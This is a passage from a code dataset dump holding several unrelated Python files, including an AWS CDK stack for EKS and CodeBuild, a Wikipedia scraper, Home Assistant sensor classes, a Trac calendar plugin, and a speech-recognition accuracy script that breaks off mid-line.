externalsecrets_service_account.add_to_policy(iam.PolicyStatement.from_json(externalsecrets_policy_statement_json_1))\n\n # Deploy the Helm Chart\n eks_cluster.add_helm_chart(\n \"external-secrets\",\n chart=\"kubernetes-external-secrets\", \n repository=\"https://external-secrets.github.io/kubernetes-external-secrets/\",\n namespace=\"kube-system\",\n values={\n \"env\": {\n \"AWS_REGION\": self.region\n },\n \"serviceAccount\": {\n \"name\": \"kubernetes-external-secrets\",\n \"create\": False\n },\n \"securityContext\": {\n \"fsGroup\": 65534\n }\n }\n )\n\n # Deploy Flux\n # Deploy the Helm Chart\n eks_cluster.add_helm_chart(\n \"flux\",\n chart=\"flux\",\n repository=\"https://charts.fluxcd.io\",\n namespace=\"kube-system\",\n values={\n \"git\": {\n \"url\": \"git@github.com:jasonumiker/k8s-plus-aws-gitops\",\n \"path\": \"k8s-app-resources\",\n \"branch\": \"master\"\n }\n }\n )\n\n # Deploy Prometheus and Grafana\n # TODO Replace this with the new AWS Managed Prometheus and Grafana when available\n eks_cluster.add_helm_chart(\n \"metrics\",\n chart=\"kube-prometheus-stack\",\n repository=\"https://prometheus-community.github.io/helm-charts\",\n namespace=\"monitoring\",\n values={\n \"prometheus\": {\n \"prometheusSpec\": {\n \"storageSpec\": {\n \"volumeClaimTemplate\": {\n \"spec\": {\n \"accessModes\": [\n \"ReadWriteOnce\"\n ],\n \"resources\": {\n \"requests\": {\n \"storage\": \"8Gi\"\n }\n },\n \"storageClassName\": \"gp2\"\n }\n }\n }\n }\n },\n \"alertmanager\": {\n \"alertmanagerSpec\": {\n \"storage\": {\n \"volumeClaimTemplate\": {\n \"spec\": {\n \"accessModes\": [\n \"ReadWriteOnce\"\n ],\n \"resources\": {\n \"requests\": {\n \"storage\": \"2Gi\"\n }\n },\n \"storageClassName\": \"gp2\"\n }\n }\n }\n }\n },\n \"grafana\": {\n \"persistence\": {\n \"enabled\": \"true\",\n \"storageClassName\": \"gp2\"\n }\n }\n } \n )\n\n # Deploy Fluentbit and Elasticsearch\n # Deploy an ElasticSearch Domain\n es_domain = es.Domain(\n self, \"ESDomain\",\n version=es.ElasticsearchVersion.V7_9\n )\n # Create the Service Account\n fluentbit_service_account = eks_cluster.add_service_account(\n \"fluentbit\",\n name=\"fluentbit\",\n namespace=\"monitoring\"\n )\n\n # Define the policy in JSON\n fluentbit_policy_statement_json_1 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"es:ESHttp*\"\n ],\n \"Resource\": [\n es_domain.domain_arn\n ]\n }\n\n # Add the policies to the service account\n fluentbit_service_account.add_to_policy(iam.PolicyStatement.from_json(externalsecrets_policy_statement_json_1))\n\n # Grant fluentbit access to our ES Domain\n es_domain.grant_write(fluentbit_service_account)\n\n eks_cluster.add_helm_chart(\n \"fluent-bit\",\n chart=\"fluent-bit\",\n repository=\"https://fluent.github.io/helm-charts\",\n namespace=\"monitoring\",\n values={\n \"serviceAccount\": {\n \"create\": False,\n \"name\": \"fluentbit\"\n },\n \"config\": {\n \"outputs\": \"[OUTPUT]\\n Name es\\n Match *\\n Host \"+es_domain.domain_endpoint+\"\\n Port 443\\n TLS On\\n AWS_Auth On\\n AWS_Region \"+self.region+\"\\n Retry_Limit 6\\n\",\n }\n }\n ) \n\nclass AWSAppResourcesPipelineStack(core.Stack):\n\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n\n # Create IAM Role For CodeBuild\n # TODO Make this role's policy least privilege\n aws_app_resources_build_role = iam.Role(\n self, \"AWSAppResourcesBuildRole\",\n assumed_by=iam.ServicePrincipal(\"codebuild.amazonaws.com\"),\n managed_policies=[\n iam.ManagedPolicy.from_aws_managed_policy_name(\"AdministratorAccess\")\n ]\n )\n\n # We only want to fire on the master branch and if there is a change in the dockerbuild folder\n git_hub_source = codebuild.Source.git_hub(\n owner=\"jasonumiker\",\n repo=\"k8s-plus-aws-gitops\",\n webhook=True,\n webhook_filters=[\n codebuild.FilterGroup.in_event_of(codebuild.EventAction.PUSH).and_branch_is(\"master\").and_file_path_is(\"aws-app-resources/*\")\n ]\n )\n\n # Create CodeBuild\n build_project = codebuild.Project(\n self, \"AWSAppResourcesBuildProject\",\n source=git_hub_source,\n role=aws_app_resources_build_role,\n build_spec=codebuild.BuildSpec.from_source_filename(\"aws-app-resources/buildspec.yml\")\n )\n\nclass DockerBuildPipelineStack(core.Stack):\n\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n \n # Create ECR Repository\n ghost_repo = ecr.Repository(\n self, \"GhostRepo\",\n repository_name=\"ghost\"\n )\n\n # Create IAM Role For CodeBuild\n ghost_build_role = iam.Role(\n self, \"GhostBuildRole\",\n assumed_by=iam.ServicePrincipal(\"codebuild.amazonaws.com\"),\n managed_policies=[\n iam.ManagedPolicy.from_aws_managed_policy_name(\"EC2InstanceProfileForImageBuilderECRContainerBuilds\")\n ]\n )\n\n # We only want to fire on the master branch and if there is a change in the dockerbuild folder\n git_hub_source = codebuild.Source.git_hub(\n owner=\"jasonumiker\",\n repo=\"k8s-plus-aws-gitops\",\n webhook=True,\n webhook_filters=[\n codebuild.FilterGroup.in_event_of(codebuild.EventAction.PUSH).and_branch_is(\"master\").and_file_path_is(\"dockerbuild/*\")\n ]\n )\n\n # Create CodeBuild\n build_project = codebuild.Project(\n self, \"GhostBuildProject\",\n source=git_hub_source,\n role=ghost_build_role,\n build_spec=codebuild.BuildSpec.from_source_filename(\"dockerbuild/buildspec.yml\"),\n environment={\n 'privileged': True,\n },\n environment_variables={\n 'AWS_ACCOUNT_ID': codebuild.BuildEnvironmentVariable(value=self.account),\n 'IMAGE_REPO_NAME': codebuild.BuildEnvironmentVariable(value=ghost_repo.repository_name)\n }\n )\n\napp = core.App()\naws_infrastructure_stack = AWSInfrastructureStack(app, \"AWSInfrastructureStack\")\naws_app_resources_pipeline_stack = AWSAppResourcesPipelineStack(app, \"AWSAppResourcesPipelineStack\")\ndocker_build_pipeline_stack = DockerBuildPipelineStack(app, \"DockerBuildPipelineStack\")\napp.synth()","sub_path":"aws-infrastructure/infrastructure-stacks.py","file_name":"infrastructure-stacks.py","file_ext":"py","file_size_in_byte":20131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"104765397","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun 15 14:53:23 2019\r\n\r\n@author: skm\r\n\"\"\"\r\n\r\nimport argparse\r\nfrom requests import get\r\nfrom random import randint\r\nfrom time import sleep\r\nfrom bs4 import BeautifulSoup\r\nimport wikipedia as wp\r\n\"\"\"filter url using robot.txt\r\nArgs:text file containing list of url \r\nReturn:none\r\n\r\n\"\"\"\r\n\r\ndef extract_wikipedia_urls(url_file):\r\n\r\n #print('i am here')\r\n status=load_robots_txt()\r\n #print(status)\r\n if status=='All allowed':\r\n print('All url are allowed')\r\n with open(url_file,\"r\", encoding='utf-8') as f:\r\n for url_part in f:\r\n url='https://en.wikipedia.org'+url_part.rstrip(\"\\n\\r\")\r\n response=get(url)\r\n page_html = BeautifulSoup(response.text, 'html.parser')\r\n article_content= wp.extract_wikipedia_contents(page_html)\r\n print('\\n')\r\n\r\n elif status=='some allowed':\r\n check=-1\r\n #print('Some url are allowed to scrap')\r\n infile = open('names.csv', 'r')\r\n lines=infile.readlines()\r\n with open(url_file, 'r',encoding='utf-8') as fp:\r\n for url_part in fp:\r\n check=-1\r\n #print(url_part, 'yes')\r\n for line in lines:\r\n #print('url_part',url_part)\r\n #print('line',line)\r\n line=line.rstrip(\"\\n\\r\")\r\n if (url_part.find(line)==0):\r\n \r\n url='https://en.wikipedia.org'+url_part.rstrip(\"\\n\\r\")\r\n print('can not access this url:',url)\r\n print('\\n')\r\n check=0\r\n break\r\n #print('check')\r\n if (check==-1) & (url_part!='\\n'):\r\n print('can access ')\r\n url='https://en.wikipedia.org'+url_part.rstrip(\"\\n\\r\")\r\n print(url,':this is the url we are trying to scrap on your demand')\r\n response=get(url)\r\n print(response)\r\n if response.status_code==200 :\r\n page_html = BeautifulSoup(response.text, 'html.parser')\r\n article_content= wp.extract_wikipedia_contents(page_html)\r\n print(article_content)\r\n else:\r\n print('No response from the url')\r\n print('\\n')\r\n \r\n elif status=='not allowed':\r\n print('can not extract any url as not allowed') \r\n\r\n'''def extract_wikipedia_contents(page_content):\r\n content=page_content.findAll('p')\r\n return content\r\n return content[0].text.strip().split('\\n')'''\r\n \r\n\"\"\" Create a data structure containing the sites disallow.\r\nIf all the sites are allowed to data it returns 'allowed';\r\nIf all the sites are excluded to data it returns 'no allowed';\r\nIf some urls are excluced return 'some allowed'; create a data structure \r\nArgs: none\r\nReturn: status\"\"\" \r\n\r\nimport csv\r\ndef load_robots_txt():\r\n infile = open('robots.txt',\"r\",encoding=\"utf-8\")\r\n numline=0\r\n line=infile.readlines()\r\n flag='not_found'\r\n with open('names.csv', 'w',encoding=\"utf-8\",newline='') as csvfile:\r\n fieldnames = ['first_name']\r\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\r\n writer.writeheader()\r\n while numline bool:\n \"\"\"Return if the entity should be enabled when first added to the entity registry.\"\"\"\n return self._enabled_default\n\n @property\n def icon(self):\n \"\"\"Return the icon of this entity.\"\"\"\n return self._icon\n\n @property\n def state(self):\n \"\"\"Return the state of this entity.\"\"\"\n return self._state\n\n @property\n def unit_of_measurement(self):\n \"\"\"Return the unit of measurement of this entity, if any.\"\"\"\n return self._unit_of_measurement\n\n\nclass GWSensor(SmileSensor, Entity):\n \"\"\"Representation of a Smile Gateway sensor.\"\"\"\n\n def __init__(self, api, coordinator, name, dev_id, sensor, key, model):\n \"\"\"Set up the Plugwise API.\"\"\"\n self._enabled_default = key[ATTR_ENABLED_DEFAULT]\n\n super().__init__(api, coordinator, name, dev_id, self._enabled_default, sensor)\n\n self._dev_class = key[ATTR_DEVICE_CLASS]\n self._icon = None\n if not self._dev_class:\n self._icon = key[ATTR_ICON]\n self._model = model\n self._name = f\"{name} {key[ATTR_NAME]}\"\n if \"Auxiliary\" in key[ATTR_NAME]:\n self._name = key[ATTR_NAME]\n self._unit_of_measurement = key[ATTR_UNIT_OF_MEASUREMENT]\n\n @callback\n def _async_process_data(self):\n \"\"\"Update the entity.\"\"\"\n _LOGGER.debug(\"Update sensor called\")\n data = self._api.get_device_data(self._dev_id)\n\n if self._sensor not in data:\n self.async_write_ha_state()\n return\n\n self._state = data[self._sensor]\n\n self.async_write_ha_state()\n\n\nclass GwAuxDeviceSensor(SmileSensor, Entity):\n \"\"\"Representation of an Auxiliary Device sensor.\"\"\"\n\n def __init__(self, api, coordinator, name, dev_id, sensor):\n \"\"\"Set up the Plugwise API.\"\"\"\n self._enabled_default = True\n\n super().__init__(api, coordinator, name, dev_id, self._enabled_default, sensor)\n\n self._cooling_state = False\n self._heating_state = False\n self._icon = None\n self._name = \"Auxiliary Device State\"\n\n @callback\n def _async_process_data(self):\n \"\"\"Update the entity.\"\"\"\n _LOGGER.debug(\"Update aux dev sensor called\")\n data = self._api.get_device_data(self._dev_id)\n\n self._heating_state = data.get(\"heating_state\")\n self._cooling_state = data.get(\"cooling_state\")\n\n self._state = CURRENT_HVAC_IDLE\n self._icon = IDLE_ICON\n if self._heating_state:\n self._state = CURRENT_HVAC_HEAT\n self._icon = HEATING_ICON\n if self._cooling_state:\n self._state = CURRENT_HVAC_COOL\n self._icon = COOL_ICON\n\n self.async_write_ha_state()\n\n\nclass USBSensor(NodeEntity):\n \"\"\"Representation of a Stick Node sensor.\"\"\"\n\n def __init__(self, node, sensor_id):\n \"\"\"Initialize a Node entity.\"\"\"\n super().__init__(node, sensor_id)\n self.sensor_id = sensor_id\n self.node_callbacks = (USB_AVAILABLE_ID, sensor_id)\n\n @property\n def state(self):\n \"\"\"Return the state of the sensor.\"\"\"\n state_value = getattr(self._node, STICK_API[self.sensor_id][ATTR_STATE])\n if state_value is not None:\n return float(round(state_value, 3))\n return None\n\n @property\n def unique_id(self):\n \"\"\"Get unique ID.\"\"\"\n return f\"{self._node.mac}-{self.sensor_id}\"\n\n @property\n def unit_of_measurement(self):\n \"\"\"Return the unit this state is expressed in.\"\"\"\n return STICK_API[self.sensor_id][ATTR_UNIT_OF_MEASUREMENT]\n","sub_path":"custom_components/plugwise/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":9837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"432618763","text":"import copy\nimport sys\n\nsys.setrecursionlimit(100000)\ngoalID = 10\nbadID = -9\nwallID = 5\nemptyID = 0\n\t\nclass MapValidator:\n\theight = 0\n\twidth = 0\n\tendpoint = (-1, -1)\n\tmapArr = [[]]\n\t\t\n\tdef iterateMap(self, nextPoint):\n\t\t#print(nextPoint)\n\t\tnextUp = (nextPoint[0], nextPoint[1]+1)\n\t\tnextDown = (nextPoint[0], nextPoint[1]-1)\n\t\tnextLeft = (nextPoint[0]-1, nextPoint[1])\n\t\tnextRight = (nextPoint[0]+1, nextPoint[1])\n\t\t\n\t\treturn MapValidator.determinePoint(self, nextUp) or MapValidator.determinePoint(self, nextDown) or MapValidator.determinePoint(self, nextLeft) or MapValidator.determinePoint(self, nextRight)\n\t\t\t\t\n\tdef determinePoint(self, point):\n\t\tif(MapValidator.isInMap(self, point)):\n\t\t\tif(MapValidator.mapArr[point[1]][point[0]] == goalID):\n\t\t\t\treturn True\n\t\t\telif(MapValidator.mapArr[point[1]][point[0]] == wallID or MapValidator.mapArr[point[1]][point[0]] == badID):\n\t\t\t\treturn False#do nothing.... these are bad walls\n\t\t\telse:\n\t\t\t\tMapValidator.mapArr[point[1]][point[0]] = wallID\n\t\t\t\treturn MapValidator.iterateMap(self, point)\n\t\telse:\n\t\t\treturn False\n\t\n\tdef isInMap(self, coords):\n\t\tif(coords[0] >= 0 and coords[0] < MapValidator.width):\n\t\t\tif(coords[1] >= 0 and coords[1] < MapValidator.height):\n\t\t\t\treturn True\n\t\treturn False\n\t\t\n\tdef findVal(self, mapArr, val):\n\t\tfor y in range(len(mapArr)):\n\t\t\tfor x in range(len(mapArr[0])):\n\t\t\t\tif(mapArr[y][x] == val):\n\t\t\t\t\treturn (x, y)\n\t\treturn (-1, -1)\n\t\t\n\tdef isPossibleToSolve(self, mapArr):\n\t\tMapValidator.height = len(mapArr)\n\t\tMapValidator.width = len(mapArr[0])\n\t\tMapValidator.mapArr = copy.deepcopy(mapArr)\n\t\tMapValidator.endpoint = MapValidator.findVal(self, mapArr, 10)\n\t\tfrontier = MapValidator.findVal(self, mapArr, 1)#Starting position #OG Default (0, MapValidator.height-1)\n\t\t#print(\"Height {} Width {} endpoint {} frontier {}\", MapValidator.height, MapValidator.width, MapValidator.endpoint, frontier)\n\t\t\n\t\treturn MapValidator.iterateMap(self, frontier)\n\t\ndef main():\n\ttheMap = [[0,0,5,0,0,0,5,0,0,0],\n\t\t\t [0,0,0,0,0,0,0,0,0,0],\n\t\t\t [0,0,0,0,0,5,0,10,0,0],\n\t\t\t [0,0,0,0,0,0,5,0,0,0],\n\t\t\t [0,0,0,0,0,0,5,0,0,0],\n\t\t\t [0,0,0,0,5,0,0,5,5,5],\n\t\t\t [0,0,0,0,0,5,0,0,0,0],\n\t\t\t [0,0,0,0,0,0,5,0,0,0],\n\t\t\t [0,0,0,0,0,0,0,0,0,0],\n\t\t\t [1,0,0,0,0,0,0,0,0,0]]\n\t\t\n\tmv = MapValidator()\n\tprint(mv.isPossibleToSolve(theMap))\n\t\n\nif __name__ == \"__main__\":\n\tmain()","sub_path":"MapValidator.py","file_name":"MapValidator.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"227317702","text":"import re\n\nprint(\"Начальная строка: \")\nstring1 = \"Липовый, сок!! Тёк. Из Липы ли?\"\nprint(string1)\n\nresult = ''\n\nwords = re.split('[!\\?., ]+', string1)\n\nfor word in words:\n\tif(len(word) >= 2):\n\t\tif word[0] == 'Л' and word[1] == 'и':\n\t\t\tresult += word\n\nprint(\"Строка, из слов, начинающихся на \\\"Ли\\\":\",result)\n\nstring2 = \"Ф;И;О;Возраст;Категория;_Иванов;Иван;Иванович;23 года;Студент 3 курса;_Петров;Семен;Игоревич;22 года;Студент 2 курса\"\n\nword_list2 = string2.split(';')\n\nclass Student:\n\tname = ''\n\tage = 0\n\tinfo = ''\n\t\n\tdef __init__(self, name, age, info):\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.info = info\n\t\t\n\tdef __str__(self):\n\t\treturn \"Имя: {0}\\nВозраст: {1}\\nИнформация: {2}\".format(self.name, self.age, self.info)\n\t\n\tdef getAge(self):\n\t\treturn [int(s) for s in self.age.split() if s.isdigit()][0]\n\nclass Table:\n\theaders = []\n\tbody = []\n\t\n\tdef setHeaders(self, headers):\n\t\tself.headers = headers;\n\t\t\n\tdef insertRow(self, item):\n\t\tself.body.append(item)\n\t\t\n\tdef view(self):\n\t\tresult = ''\n\t\tresult += '\\t\\t\\t\\t\\t'.join(self.headers)\n\t\tresult += '\\n\\r'\n\t\tfor row in self.body:\n\t\t\tresult += '\\t\\t\\t\\t'.join(row)\n\t\t\tresult += '\\n\\r'\n\t\t\t\n\t\tprint(result)\n\ntable1 = Table()\n\ntable1.setHeaders([\n\t\t''.join([word_list2[0], word_list2[1], word_list2[2]]),\n\t\tword_list2[3],\n\t\tword_list2[4]\n\t])\n\nfor word in word_list2:\n\tif word[0] == '_':\n\t\tindex = word_list2.index(word)\n\t\tword = re.sub('_', '', word)\n\t\tnew_row = [\n\t\t\t' '.join([word,\n\t\t\t\tword_list2[index + 1],\n\t\t\t\tword_list2[index + 2]]),\n\t\t\tword_list2[index + 3],\n\t\t\tword_list2[index + 4]\n\t\t]\n\t\ttable1.insertRow(new_row)\n\t\t\ntable1.view();\n\nstring3 = \"ФИО;Возраст;Категория;_Иванов Иван Иванович;\\\n23 года;Студент 3 курса;_Петров Семен Игоревич;22 года;Студент 2\\\n курса;_Иванов Семен Игоревич;22 года;Студент 2 курса;_Акибов Ярослав\\\n Наумович;23 года;Студент 3 курса;_Борков Станислав Максимович;21\\\n год;Студент 1 курса;_Петров Семен Семенович;21 год;Студент 1\\\n курса;_Романов Станислав Андреевич;23 года;Студент 3 курса;_Петров\\\n Всеволод Борисович;21 год;Студент 2 курса\"\n\nword_list3 = string3.split(';')\nstud_list3 = []\n\nallow_index = 0\n\nfor word in word_list3:\n\tif word[0] == '_':\n\t\tindex = word_list3.index(word, allow_index)\n\t\tallow_index += 2\n\t\tword = re.sub('_', '', word)\n\t\tnew_stud = Student(\n\t\t\tword,\n\t\t\tword_list3[index + 1],\n\t\t\tword_list3[index + 2]\n\t\t)\n\t\tstud_list3.append(new_stud)\n\nfor stud in stud_list3:\n\tif stud.getAge() == 21:\n\t\tprint(stud, '\\n')\n\t\t\n\t\t\nstring4 = \"Ноутбук заряжен и скоро сядет,\\\n безусловно это проблема батареи, которая очень скоро выйдет из строя,\\\n если и дальше продожать использовать компьютер в таком духе\"\n\nprint(\"Строка: \", string4)\nprint(\"Количество символов:\\t\", len(string4.replace(' ', '')))\nprint(\"Количество слов:\\t\", len(re.split('[!\\?., ]+', string4)))\n\n\n\t\n\t\n\t\n\t\n\t\n\t\n\n\n\n","sub_path":"python_labs/lab_3.py","file_name":"lab_3.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"487798724","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef cauchy(f, t_0, tf, delta_t, x_0):\n N = int((tf - t_0) / delta_t) + 1 # cantidad de iteraciones\n x_k = np.zeros((N, len(x_0)))\n x_k[0] = x_0\n t_k = t_0 + delta_t * np.arange(N)\n\n for i in range(N-1):\n f1 = f(t_k[i] + delta_t/2, x_k[i] + np.asarray(f(t_k[i], x_k[i])) * delta_t/2)\n x_k[i+1] = x_k[i] + np.asarray(f1) * delta_t\n\n return t_k, x_k\n\n","sub_path":"Parciales/Code/Algorithms/EDOs/Cauchy.py","file_name":"Cauchy.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"245671255","text":"\"\"\"Define automations for plants.\"\"\"\nfrom typing import Union\n\nimport voluptuous as vol\n\nfrom core import APP_SCHEMA, Base\nfrom const import CONF_FRIENDLY_NAME, CONF_NOTIFICATION_INTERVAL\nfrom helpers import config_validation as cv\nfrom notification import send_notification\n\nCONF_CURRENT_MOISTURE = \"current_moisture\"\nCONF_MOISTURE_THRESHOLD = \"moisture_threshold\"\n\nHANDLE_LOW_MOISTURE = \"low_moisture\"\n\n\nclass LowMoisture(Base):\n \"\"\"Define a feature to notify us of low moisture.\"\"\"\n\n APP_SCHEMA = APP_SCHEMA.extend(\n {\n vol.Required(CONF_CURRENT_MOISTURE): cv.entity_id,\n vol.Required(CONF_FRIENDLY_NAME): cv.string,\n vol.Required(CONF_MOISTURE_THRESHOLD): cv.positive_int,\n vol.Required(CONF_NOTIFICATION_INTERVAL): vol.All(\n cv.time_period, lambda value: value.seconds\n ),\n }\n )\n\n def configure(self) -> None:\n \"\"\"Configure.\"\"\"\n self._low_moisture_detected = False\n\n self.listen_state(self._on_moisture_change, self.args[CONF_CURRENT_MOISTURE])\n\n @property\n def current_moisture(self) -> int:\n \"\"\"Define a property to get the current moisture.\"\"\"\n try:\n return int(self.get_state(self.args[CONF_CURRENT_MOISTURE]))\n except ValueError:\n return 100\n\n def _cancel_notification_cycle(self) -> None:\n \"\"\"Cancel any active notification.\"\"\"\n if HANDLE_LOW_MOISTURE in self.data:\n cancel = self.data.pop(HANDLE_LOW_MOISTURE)\n cancel()\n\n def _on_moisture_change(\n self, entity: Union[str, dict], attribute: str, old: str, new: str, kwargs: dict\n ) -> None:\n \"\"\"Notify when the plant's moisture is low.\"\"\"\n if self.enabled and int(new) < self.args[CONF_MOISTURE_THRESHOLD]:\n if self._low_moisture_detected:\n return\n\n self.log(\"%s has low moisture\", self.args[CONF_FRIENDLY_NAME])\n self._start_notification_cycle()\n self._low_moisture_detected = True\n elif self.enabled and int(new) >= self.args[CONF_MOISTURE_THRESHOLD]:\n if not self._low_moisture_detected:\n return\n\n self._cancel_notification_cycle()\n self._low_moisture_detected = False\n\n def _start_notification_cycle(self) -> None:\n \"\"\"Start a repeating notification.\"\"\"\n self.data[HANDLE_LOW_MOISTURE] = send_notification(\n self,\n \"presence:home\",\n (\n f\"{self.args[CONF_FRIENDLY_NAME]} is at {self.current_moisture}% \"\n \"moisture and needs water.\"\n ),\n title=f\"{self.args[CONF_FRIENDLY_NAME]} is Dry 💧\",\n when=self.datetime(),\n interval=self.args[CONF_NOTIFICATION_INTERVAL],\n )\n\n def on_disable(self) -> None:\n \"\"\"Stop notifications (as necessary) when the automation is disabled.\"\"\"\n self._cancel_notification_cycle()\n\n def on_enable(self) -> None:\n \"\"\"Start notifications (as necessary) when the automation is enabled.\"\"\"\n try:\n if self.current_moisture < self.args[CONF_MOISTURE_THRESHOLD]:\n self._start_notification_cycle()\n except TypeError:\n self.error(\"Can't parse non-integer moisture level\")\n","sub_path":"appdaemon/settings/apps/plants.py","file_name":"plants.py","file_ext":"py","file_size_in_byte":3310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"467112628","text":"# Copyright (c) 2016 Truveris, Inc. All Rights Reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\nimport re\nimport json\nfrom datetime import timedelta, datetime\n\nfrom trac.wiki.api import WikiSystem\nfrom trac.wiki.model import WikiPage\nfrom trac.core import Component, implements\nfrom trac.web import IRequestHandler\nfrom trac.ticket import model\nfrom trac.util.datefmt import parse_date\n\nfrom providers import TemplateProvider\n\n\nre_date = re.compile(r\".*Date: ([-/\\d]+)$\")\nre_icon = re.compile(r\".*Icon: ([-\\w]+)$\")\nre_color = re.compile(r\".*Color: ([#\\w]+)$\")\nre_title = re.compile(r\"^= ([\\w\\s()]+) =$\")\nre_name = re.compile(r\".*Name: ([-:()\\s\\w]+)$\")\n\n\nclass CalendarDashboardJSON(Component):\n\n implements(IRequestHandler)\n\n def get_events(self):\n events = {}\n\n for key, value in self.env.config.options(\"tracboards\"):\n if not key.startswith(\"calendar.\"):\n continue\n\n tokens = key.split(\".\", 2)\n if len(tokens) != 3:\n self.env.log.warn(\"invalid calendar key: {}\".format(key))\n continue\n\n _, event_name, key = tokens\n event = events.setdefault(event_name, {})\n if key == \"delta\":\n value = int(value)\n event[key] = value\n\n return events\n\n def get_milestone_event_dates(self):\n dates = []\n\n events = self.get_events()\n\n for milestone in self.get_milestones():\n for event_key, event in events.items():\n delta = timedelta(days=event.get(\"delta\", 0))\n event_date = milestone.due + delta\n\n if event_date.date() < datetime.now().date():\n continue\n\n dates.append({\n \"name\": event.get(\"name\", \"Unnamed event\"),\n \"icon\": event.get(\"icon\", \"flag\"),\n \"class\": event_key,\n \"color\": event.get(\"color\", \"white\"),\n \"milestone\": milestone.name,\n \"date\": event_date,\n })\n\n return dates\n\n def get_wiki_event_dates(self):\n \"\"\"Try to fetch events from the wiki as well.\"\"\"\n dates = []\n\n for page in WikiSystem(self.env).get_pages(\"Events/\"):\n page = WikiPage(self.env, page)\n if not page.exists:\n continue\n\n date = {\n \"name\": page.name.split(\"/\", 1).pop(),\n \"icon\": \"flag\",\n \"color\": \"white\",\n \"milestone\": \"\",\n \"class\": page.name.split(\"/\").pop().lower(),\n }\n\n for line in page.text.splitlines():\n m = re_date.match(line)\n if m:\n date[\"date\"] = parse_date(m.group(1))\n m = re_icon.match(line)\n if m:\n date[\"icon\"] = m.group(1)\n m = re_color.match(line)\n if m:\n date[\"color\"] = m.group(1)\n m = re_name.match(line)\n if m:\n date[\"name\"] = m.group(1)\n m = re_title.match(line)\n if m:\n date[\"name\"] = m.group(1)\n\n if date[\"date\"] is not None and date[\"date\"] >= parse_date(\"now\"):\n dates.append(date)\n\n return dates\n\n def get_event_dates(self):\n event_dates = sorted(\n self.get_milestone_event_dates() + self.get_wiki_event_dates(),\n key=lambda ed: ed[\"date\"]\n )\n\n for ed in event_dates:\n ed[\"date\"] = self.format_date(ed[\"date\"])\n\n return event_dates\n\n def format_date(self, d):\n today = datetime.now().date()\n tomorrow = today + timedelta(days=1)\n if d.date() == today:\n return \"Today\"\n if d.date() == tomorrow:\n return \"Tomorrow\"\n if d.date() - today < timedelta(days=6):\n return d.strftime(\"%A\")\n return d.strftime(\"%a %e\")\n\n def get_milestones(self):\n milestones = model.Milestone.select(self.env, include_completed=False)\n return [m for m in milestones if m.due is not None]\n\n # IRequestHandler methods\n def match_request(self, req):\n return req.path_info == \"/dashboard/calendar.json\"\n\n def process_request(self, req):\n content = {\n \"event_dates\": self.get_event_dates(),\n }\n\n req.send(json.dumps(content), \"application/json\")\n\n\nclass CalendarDashboard(TemplateProvider):\n\n implements(IRequestHandler)\n\n # IRequestHandler methods\n def match_request(self, req):\n return req.path_info == \"/dashboard/calendar\"\n\n def process_request(self, req):\n return (\"calendar.html\", {}, None)\n","sub_path":"tracboards/calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"235594101","text":"'''\nQuestion : Maria plays college basketball and wants to go pro. Each season she maintains a record of her play. \n She tabulates the number of times she breaks her season record for most points and least points in a game. \n Points scored in the first game establish her record for the season, and she begins counting from there.\n Given Maria's scores for a season, find and print the number of times she breaks her records for most and \n least points scored during the season.\n \nLink : https://www.hackerrank.com/challenges/breaking-best-and-worst-records/problem\n'''\n\ndef breakingRecords(scores):\n highest , lowest = 0 , 0\n high , low = scores[0] , scores[0]\n for i in scores[1:]:\n if i>high:\n high = i\n highest+=1\n\n if i float:\n \"\"\"\n Calculates the duration of an audio (.wav) file\n :param filename: the filename to calculate the duration\n :return: the duration (as a float) of the file rounded to two decimal places\n \"\"\"\n with contextlib.closing(wave.open(filename, 'r')) as f:\n frames = f.getnframes()\n rate = f.getframerate()\n duration = frames / float(rate)\n\n return round(duration, 2)\n\n\ndef recognise_audio(filename: str) -> tuple:\n \"\"\"\n Processes an audio file through ASR\n :param filename: the file to be processed\n :return: tuple containing the string of recognised words and an integer word count\n \"\"\"\n print(filename + ' is being recognized...')\n duration = get_duration(filename)\n # Create a Recognizer object\n recognizer = sr.Recognizer()\n\n # Store the audio data\n file = sr.AudioFile(filename)\n\n # Initialise empty String variable for storing result from recognizer\n recognized_text = ''\n\n # Length of some audio files causes the ASR to hang, therefore recognizing in chunks of 16 seconds\n # j = chunk duration\n # k = cumulative offset\n j = 16\n k = 0\n for i in range(math.ceil(duration/j)):\n with file as source:\n audio = recognizer.record(source, duration=j, offset=k)\n try:\n recognized_text += recognizer.recognize_google(audio) + ' '\n k += (j - 0.1)\n except sr.UnknownValueError:\n recognized_text = ''\n except sr.RequestError:\n recognized_text = ''\n\n recognized_text = recognized_text.lower().replace(\"'\", '')\n\n recognized_text_count = len(re.findall(r'\\w+', recognized_text))\n\n print(filename + ' recognition complete.')\n\n return recognized_text, recognized_text_count\n\n\ndef calculate_accuracy(filename: str, recognized_text: str) -> tuple:\n \"\"\"\n Calculates the accuracy of the ASR text compared to the original script for each script ID.\n :param filename: the file being compared.\n :param recognized_text: string of recognized text.\n :return: tuple containing the number of words accurately recognized by ASR, accuracy as a percentage, any\n mis-recognitions.\n \"\"\"\n\n script_ref = filename[(filename.find('!')) - 2: 